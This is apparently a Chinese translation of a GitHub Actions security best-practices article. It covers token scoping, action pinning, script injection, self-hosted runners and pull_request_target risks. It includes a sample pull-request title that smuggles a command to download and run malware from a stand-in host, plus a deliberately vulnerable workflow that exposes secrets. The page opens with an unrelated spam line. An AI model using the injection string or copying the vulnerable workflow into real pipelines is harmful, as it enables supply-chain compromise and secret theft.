自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

GitHub Actions安全的優(yōu)秀實踐

譯文 精選
開發(fā) 開發(fā)工具
作為開源社區(qū)最受歡迎的CI/CD工具之一,GitHub Actions可被用于公共或私有存儲庫的各項操作。本文將和您討論7種有關(guān)GitHub Actions的安全實踐,以避免密鑰、工件、以及供應(yīng)鏈?zhǔn)艿焦簟?

GitHub Actions是一個越來越受歡迎的CI/CD平臺。它們能夠在保持易訪問性的同時,自動化開發(fā)周期的幾乎所有任務(wù)。不過,由于它們經(jīng)常會調(diào)用外部代碼,這會給GitHub Action的工作流帶來各種風(fēng)險隱患,因此無論我們是否維護的是開源項目,都需要采取一些必要的安全措施。下圖是我為您整理的一張保護GitHub Actions的速查表。我據(jù)此將和您開展深入討論。

圖片

一、什么是GitHub Actions?

GitHub Actions是GitHub的一種CI/CD服務(wù)。它可以作為從開發(fā)系統(tǒng)轉(zhuǎn)化到生產(chǎn)系統(tǒng)的一種工作流機制。GitHub事件不但能夠觸發(fā)各種action(如:提交拉取請求、開啟問題、合并拉取請求等),而且可以執(zhí)行任何命令。例如,它們可用于格式化代碼、拉取請求,將問題的注釋與另一個工單系統(tǒng)的注釋相同步,為新的問題添加適當(dāng)?shù)臉?biāo)簽,以及觸發(fā)全面的云部署。

通常,該工作流由一到多個作業(yè)組成。這些作業(yè)在自己的虛擬機或容器(運行程序,runner)中運行,并能執(zhí)行一到多個步驟。其中,每一個步驟都可以是一個shell腳本或action。其實,它是專門為GitHub CI生態(tài)系統(tǒng)打包的一段可重用的代碼。

由于GitHub托管著數(shù)以百萬計的開源項目,這些項目可以通過拉取請求,進行分叉(fork)和貢獻(contribute),因此GitHub Actions的安全性對于防范供應(yīng)鏈攻擊來說是至關(guān)重要的。下面,我們來討論一些值得借鑒的優(yōu)秀實踐:

二、設(shè)置信任憑據(jù)的最小范圍

讓我們將這個適用于工作流中所有信任憑據(jù)的一般性安全原則,運用到特定的GITHUB_TOKEN上。該令牌會授予每個運行程序與存儲庫交互的權(quán)限。由于它是臨時的,因此其有效性僅以工作流的開始和結(jié)束為界。

默認(rèn)情況下,該令牌的權(quán)限為“允許”(適用于常見范圍的讀與寫)或“受限”(適用于常見范圍的默認(rèn)無權(quán)限)。由于無論在哪種情況下,分叉的存儲庫最多只有一個讀的訪問(read-access)權(quán)限,因此無論您選擇哪種選項,都應(yīng)該僅授予GITHUB_TOKEN執(zhí)行工作流或作業(yè)所需的最低權(quán)限。為此,我們需要在工作流中,使用“權(quán)限”鍵,來配置工作流或作業(yè)所需的最低權(quán)限,以實現(xiàn)對GitHub Actions權(quán)限的細(xì)粒度控制。

當(dāng)然,該原則也適用于環(huán)境變量。為了限制環(huán)境變量的作用范圍,您也應(yīng)該始終在step級別去聲明它們,以避免其他階段對其進行任意訪問。

三、使用特定的操作版本標(biāo)簽

通常,當(dāng)人們在GitHub上創(chuàng)建自己的工作流時,他們會直接使用由他人創(chuàng)建的Actions。例如,幾乎所有的工作流程都會從如下步驟開始:

YAML
- name: Check out repository
uses: actions/checkout@v3

而多數(shù)人可能認(rèn)為這只是在獲取自己的代碼,沒什么危險的。不過,讓我們來研究一下它是如何檢查目標(biāo)代碼的:以“uses”開頭的一行會將代碼通過“actions/checkout”操作,從GitHub存儲庫獲取到,并推送給運行著工作流的服務(wù)器。如果您仔細(xì)閱讀其源代碼,就會意識到:盲目地相信其所有行為是極其風(fēng)險的。各種第三方action會與您的代碼進行交互,并且可能在服務(wù)器上運行。對此,我們往往缺乏在后臺監(jiān)控各種發(fā)布更新、以及執(zhí)行更改等實際操作的概念。

讓我們來設(shè)想這樣一種威脅場景:您需要使用一個第三方的linter,來檢查自己代碼上的格式問題。為此,您決定直接使用來自GitHub Actions Marketplace的一個action,而無需自行安裝、配置和運行l(wèi)inter。在完成試運行后,您可以在存儲庫中設(shè)置一個使用它的工作流:

YAML
- name: Lint code
uses: someperson/lint-action@v1

而在該操作被使用了數(shù)月之后,您可能突然遇到了API密鑰被盜或濫用的問題。經(jīng)過調(diào)查,該第三方linter action的作者,最近向GitHub Marketplace推送了一個更新,將其重新標(biāo)記為“v1”,其中便包含了將環(huán)境變量發(fā)送到某個隨機網(wǎng)址的代碼。因此,每個使用“someperson/linter-action@v1”的人,都會在他們的工作流中運行該惡意代碼。

對于沒有人會關(guān)注其使用的第三方action是否有更新的情況,我們該如何實施安全保護呢?GitHub為我們提供了一種方法:您可以通過提交哈希,而非使用來自存儲庫的標(biāo)簽,來運行某項操作。例如,當(dāng)您將容器鏡像自動推送到Docker Hub時,可以在工作流中使用如下代碼,來進行身份驗證:

YAML
- name: Log in to the container registry
uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9

左右滑動查看完整代碼

通過在驗證Docker Hub時,準(zhǔn)確地指定待提交的內(nèi)容,我們可以保證工作流中的action具有一致性,而不必?fù)?dān)心其發(fā)生任何變化。

四、不要使用純文本的密碼

雖然這是一個常識,但還是需要提一下:請既不要在源代碼中,也不要在CI工作流文件里,以純文本的形式存儲API的密鑰或密碼。作為一項服務(wù),GitHub Secrets可以讓您以安全的方式,存儲自己的密鑰,并在工作流中使用各種${{}}括號,來引用它們,以確保將所有純文本的機密信息,都排除在GitHub Actions之外。

當(dāng)然,您也可以使用免費的ggshield-action,來掃描源代碼中是否存在著密碼。

五、不要引用您無法控制的值

正如前文所述,GitHub允許您使用各種${{}}括號,來引用GitHub環(huán)境中的機密信息。不過,這些可引用的信息不一定是由您設(shè)置的。這也是許多開源存儲庫的常見錯誤源。下面的工作流便是我一個錯誤:

YAML
- name: lint
run: |
echo “${{github.event.pull_request.title}}| commitlint

其“l(fā)int”命令包含了來自拉取請求的一些輸入,其中含有獲取由提交請求的人所設(shè)置的拉取請求的標(biāo)題。例如,假設(shè)有人向此存儲庫提交了如下拉取請求:

a" && wget https://example.com/malware && ./malware && echo "Title

那么,如下YAML工作流會便會被評估:

YAML
- name: lint
run: |
echo “a" && wget https://example.com/malware && ./malware && echo "Title” | commitlint

在本例中,攻擊者下載并執(zhí)行了惡意軟件,進而竊取了運行程序的GITHUB_TOKEN。而根據(jù)工作流的運行上下文,令牌可能具有對原始存儲庫的寫入權(quán)限。這就意味著攻擊者完全可以修改存儲庫里內(nèi)容(也包括發(fā)布)。

另一個例子則是從CI中竊取敏感數(shù)據(jù),即收集可用于橫向移動的密鑰。由于拉取請求標(biāo)題并非外部各方設(shè)置的唯一GitHub環(huán)境值,因此拉取請求正文、以及發(fā)布的標(biāo)題和正文也是不受信任的。當(dāng)您在GitHub Actions的步驟中引用此類變量時,應(yīng)確保能夠管控它們的來源。

為了安全起見,您有兩種選擇:

1.使用Action而不是內(nèi)聯(lián)腳本

Action將使用(不可信的)上下文值作為參數(shù),來判斷注入攻擊:

YAML
- uses: fakeaction/checktitle@v3
with:
title: ${{ github.event.pull_request.title }}

2.使用中間環(huán)境變量

如果您需要執(zhí)行一個腳本,則應(yīng)該設(shè)置一個中間環(huán)境變量:

YAML
- name: Check PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo “$PR_TITLE”

請注意,我們通過對變量添加雙引號,來避免其他類型的利用,從而起到了額外的預(yù)防效果。

六、僅在可信的代碼上運行工作流

無論您是托管自己的action運行程序,還是使用GitHub的運行程序,當(dāng)工作流運行時,您都需要謹(jǐn)慎地授予潛在的運行代碼、訪問機密信息、以及在運行程序環(huán)境中執(zhí)行的權(quán)限。

如果您維護一個開源的存儲庫,那么很可能會收到一些從未接觸過的定期拉取請求。對此,您應(yīng)該多問自己:“在啟動工作流時,正在運行的是什么代碼?這些代碼從何而來?”

讓我們考慮一個潛在的威脅場景。假設(shè)您是GitHub上某個組織的維護者,并且手頭有一個設(shè)置了自動化測試的開源項目。某日,有人向該存儲庫提交了一個包含有新特性和一些測試用例的拉取請求。您不知道的是,其中一個測試用例并不包含測試代碼,而是會在服務(wù)器上安裝并運行某個“挖礦”應(yīng)用。那么,一旦您的CI啟動了所有的測試代碼,您原有的運行程序就會受到影響。

實際上,GitHub可以通過默認(rèn)設(shè)置,來保護我們免受此類攻擊。也就是說,GitHub能夠不允許個人帳戶在公共存儲庫上使用自托管運行程序,而僅對組織不設(shè)限。

針對此類場景的另一種保護措施是,針對來自拉取請求的代碼,確定何時運行GitHub Actions。默認(rèn)情況下,來自首次貢獻者(contributor)的拉取請求,需要維護者的批準(zhǔn),才能開始CI測試。而作為維護者,您有責(zé)任確保在批準(zhǔn)工作流之前,仔細(xì)閱讀所有提交的代碼。當(dāng)然,如果有人在提交帶有惡意代碼的第二個請求之前,事先提交了一個小的拉取請求。那么由于他并非首次貢獻者,其所有的配置工作流都會自動運行。對此,GitHub可以被設(shè)置為要求所有外部合作者的每一次請求都需要獲得批準(zhǔn)。

七、加固Action運行程序

在設(shè)置CI工作流期間,您可以在每個工作流中指定其應(yīng)該運行的位置。GitHub提供了一些針對Ubuntu、Mac和Windows等不同的運行程序。當(dāng)您使用GitHub的運行程序時,它們必須作為一個干凈的VM被啟動。當(dāng)然,您也可以選擇將自己的服務(wù)器配置為運行程序,來執(zhí)行自己的工作流。

注意,請千萬不要將自托管的運行程序用于公共存儲庫。這無疑允許了任何人分叉您的存儲庫,進而提交惡意拉取請求,逃離沙箱,以及訪問網(wǎng)絡(luò)。如果您確實需要設(shè)置自托管運行程序的話,請注意如下方面:

1.您自己應(yīng)該是唯一能夠配置服務(wù)器上運行的工作流的人。

2.使用專用的非特權(quán)帳戶(例如:github-runner等非管理員的權(quán)限)來啟動運行程序,并執(zhí)行工作流。同時,您應(yīng)該確保它無權(quán)修改其工作空間之外的任何內(nèi)容(除非在工作流中使用sudo),并且只允許它執(zhí)行所屬的特定文件。

3.通過設(shè)置臨時且被隔離的負(fù)載,來執(zhí)行諸如Kubernetes Pod或容器等作業(yè)。據(jù)此,當(dāng)工作流完成時,虛擬機就會被銷毀,以避免各種潛在的風(fēng)險。

4.使用日志記錄和安全監(jiān)控工具。如果您有一個安全團隊,可通過使用EDR代理、或類似Linux的Sysmon之類的工具,去收集運行程序服務(wù)器上的進程日志,并通過檢測規(guī)則,在發(fā)生可疑情況時發(fā)出警告。

在典型的SolarWinds供應(yīng)鏈攻擊中,攻擊者曾位于SolarWinds所構(gòu)建的服務(wù)器內(nèi),并使用其訪問權(quán)限將惡意代碼注入到了Orion平臺上。如果我們能夠?qū)\行程序的可疑活動采取有效的監(jiān)控的話,就能夠確保代碼的完整性,防范構(gòu)建過程被篡改,以及攻擊者使用的命令與控制(command-and-control,C2)、及各種持久性技術(shù)。

八、請小心使用pull_request_target觸發(fā)器

在維護開源的存儲庫時,您還可能碰到被稱為pwn requests的漏洞。惡意拉取請求會利用該漏洞,在特定情況下截獲秘密信息、甚至篡改發(fā)布。因此,如果您在GitHub Actions中使用了“on: pull_request_target”事件,請不要使用如下代碼內(nèi)容:

YAML
on: pull_request_target

steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }}

也就是說,當(dāng)有人分叉您的存儲庫,并打開一個拉取請求時,就會涉及到兩個存儲庫:一個是在您控制下的目標(biāo)庫,以及他人的分叉存儲庫(fork repo)。

通常,當(dāng)有人提交拉取請求時,我們會使用“pull_request”觸發(fā)事件,來觸發(fā)工作流。有了它,被觸發(fā)的工作流就只會在提交者的分叉存儲庫的上下文中運行。而且,被提供的GITHUB_TOKEN將沒有寫入的權(quán)限,更無法訪問到機密信息。

雖然這些都是合理的默認(rèn)設(shè)置,但在某些情況下,它們可能有點過于受限了。應(yīng)開源社區(qū)的要求,GitHub引入了“pull_request_target”事件。它與前者之間的區(qū)別并不大,但存在著一些安全隱患。例如:由于pull_request_target觸發(fā)器是在您的目標(biāo)存儲庫的上下文中運行的,那么工作流便可以訪問到您的機密信息,并寫入您的代碼。一旦工作流運行那些不受控制的代碼,就會變得非常危險。這也就是為什么檢查分叉存儲庫的代碼,就需要解讀工作流,以分析出任何類型的遠(yuǎn)程代碼執(zhí)行的原因。

九、漏洞示例

為了證明這一點,讓我們來看下面易受攻擊的GitHub Action:

YAML
name: my action
on: pull_request_target
jobs:
pr-check:
name: Check PR
runs-on: ubuntu-latest
steps:
- name: Setup Action
uses: actions/checkout@v3
with:
ref: ${{github.event.pull_request.head.ref}}
repository: ${{github.event.pull_request.head.repo.full_name}}
- name: Setup Python 3.10
uses: actions/setup-python@v3
with:
python-version: 3.10
- name: Install dependencies
run: pip install -r requirements.txt
- name: some command
run: some_command
env:
SOME_SECRET: ${{ secrets.SOME_SECRET }}

該代碼滿足了兩個條件:工作流觸發(fā)器運行在目標(biāo)存儲庫上,作業(yè)的第一步是簽出拉取請求代碼的HEAD(即,最后一次提交)。因此,該代碼將會在來自拉取請求的工作流的其余部分被使用到,并且會打開各種被利用的威脅向量。

例如,為了安裝依賴項而執(zhí)行的、看似無害的“run: pip install ...”,此時便是一個潛在的向量。畢竟只要通過修改setup.py,便可在pip啟動之前,執(zhí)行某個“預(yù)安裝”的腳本。而且,由于腳本中可以使用各種shell命令,因此攻擊者可以輕松地啟動反向shell,或獲取惡意負(fù)載。該負(fù)載旨在對原始存儲庫的源代碼執(zhí)行修改、以及重新標(biāo)記(re-tagging)發(fā)布等操作。

這可以說是為發(fā)起供應(yīng)鏈攻擊準(zhǔn)備的“完美”漏洞,畢竟開源項目的所有用戶都可能在不知情的情況下受到此類攻擊。當(dāng)然,這只是一個攻擊向量。而通過更改some_command二進制文件,來竊取SOME_SECRET環(huán)境變量,可能要容易得多。

注意,不僅是上述shell命令在此類配置中容易受攻擊,就算工作流僅依賴于action,由于各種action會在后臺執(zhí)行本地的腳本,因此代碼注入仍然極容易發(fā)生。這就是為什么我們強烈建議您不要使用pull_request_target的原因。即便您使用了,也千萬不要盲目地簽出那些不受信任的拉取請求代碼。

十、首選使用OpenID Connect訪問云資源

OpenID Connect(OIDC)允許您將工作流請求并使用來自云服務(wù)提供商的短期訪問令牌,而無需將那些長期有效的密鑰復(fù)制到GitHub中。通過配置,您還能受益于來自云提供商的細(xì)粒度訪問控制,以及更好的自動化密鑰管理。

為此,您需要首先在云提供商處建立OIDC的信任關(guān)系,以控制誰可以訪問什么資源。然后,在GitHub上,OIDC提供者將被配置為自動生成包含聲明的JWT令牌。該聲明允許工作流對云服務(wù)提供者進行身份驗證。一旦這些聲明被驗證通過,一個基于角色范疇的、短期訪問令牌就會被發(fā)送回工作流,以方便后期執(zhí)行。

十一、結(jié)論

綜上所述,作為開源社區(qū)最受歡迎的CI/CD工具之一,GitHub Actions可被用于公共或私有存儲庫的各項操作。不過,從安全的角度,您應(yīng)該小心設(shè)置與之相關(guān)工作流的方式,以避免密鑰、工件、以及供應(yīng)鏈?zhǔn)艿焦簟?/p>

在此,我將上面討論過的GitHub Actions的安全實踐總結(jié)如下:

1.使用最小范圍的信任憑據(jù),并且確保GITHUB_TOKEN配置了最低權(quán)限,去運行您的作業(yè)。

2.使用特定的版本標(biāo)簽,以免受到第三方action的供應(yīng)鏈危害。

3.切勿以明文形式存儲任何API密鑰、令牌或密碼,請使用ggshield-action在您的CI工作流中通過修復(fù),來實施密鑰檢測。

4.避免直接引用易受惡意拉取請求注入的代碼、不可控的值,請使用帶有參數(shù)的action,或直接將值綁定到環(huán)境變量中。

5.在使用自托管運行程序時,應(yīng)格外小心,最好不要將此選項用于開源存儲庫,或啟用要求所有外部提交都獲批才能運行的工作流。讓運行程序使用虛擬機,并將其配置為在最短時間內(nèi),使用低權(quán)限用戶,并配備充分的日志記錄和監(jiān)控工具。

6.鑒于惡意的拉取請求可能會濫用您的構(gòu)建步驟、密鑰,進而破壞您的環(huán)境,因此在使用“pull_request_target event”時,請不要簽出外部拉取請求。

7.盡量使用OpenID Connect,而非長期有效的密鑰,來實現(xiàn)工作流與云端資源的交互。

原文鏈接:?https://dzone.com/articles/github-actions-security-best-practices-cheat-sheet??

譯者介紹

陳峻 (Julian Chen),51CTO社區(qū)編輯,具有十多年的IT項目實施經(jīng)驗,善于對內(nèi)外部資源與風(fēng)險實施管控,專注傳播網(wǎng)絡(luò)與信息安全知識與經(jīng)驗。

責(zé)任編輯:武曉燕 來源: 51CTO技術(shù)棧
相關(guān)推薦

2020-12-04 10:42:54

GithubSSDNode.js

2021-04-20 09:36:49

黑客網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2020-11-25 10:26:24

云計算云安全數(shù)據(jù)

2021-12-17 14:06:55

云計算安全工具

2023-06-29 00:19:51

2022-07-13 08:00:29

安全風(fēng)險管理IT

2022-01-13 08:37:54

SSH安全網(wǎng)絡(luò)安全

2022-09-05 15:12:34

數(shù)據(jù)庫GitHub開發(fā)

2014-11-13 14:32:53

2023-01-27 15:41:24

2022-04-20 12:08:17

容器安全漏洞網(wǎng)絡(luò)安全

2022-10-10 14:53:00

云安全云計算云平臺

2020-07-29 07:00:00

GitHub漏洞密鑰

2022-02-07 19:09:15

網(wǎng)絡(luò)分段零信任網(wǎng)絡(luò)安全

2021-03-26 08:41:11

Go語言Docker

2021-05-13 21:21:50

React應(yīng)用GitHub

2021-05-19 14:14:29

服務(wù)器安全數(shù)據(jù)

2021-04-06 09:58:35

物聯(lián)網(wǎng)安全物聯(lián)網(wǎng)IOT

2020-12-16 08:23:06

DevOps容器安全容器

2022-05-16 08:45:05

數(shù)據(jù)質(zhì)量數(shù)據(jù)安全
點贊
收藏

51CTO技術(shù)棧公眾號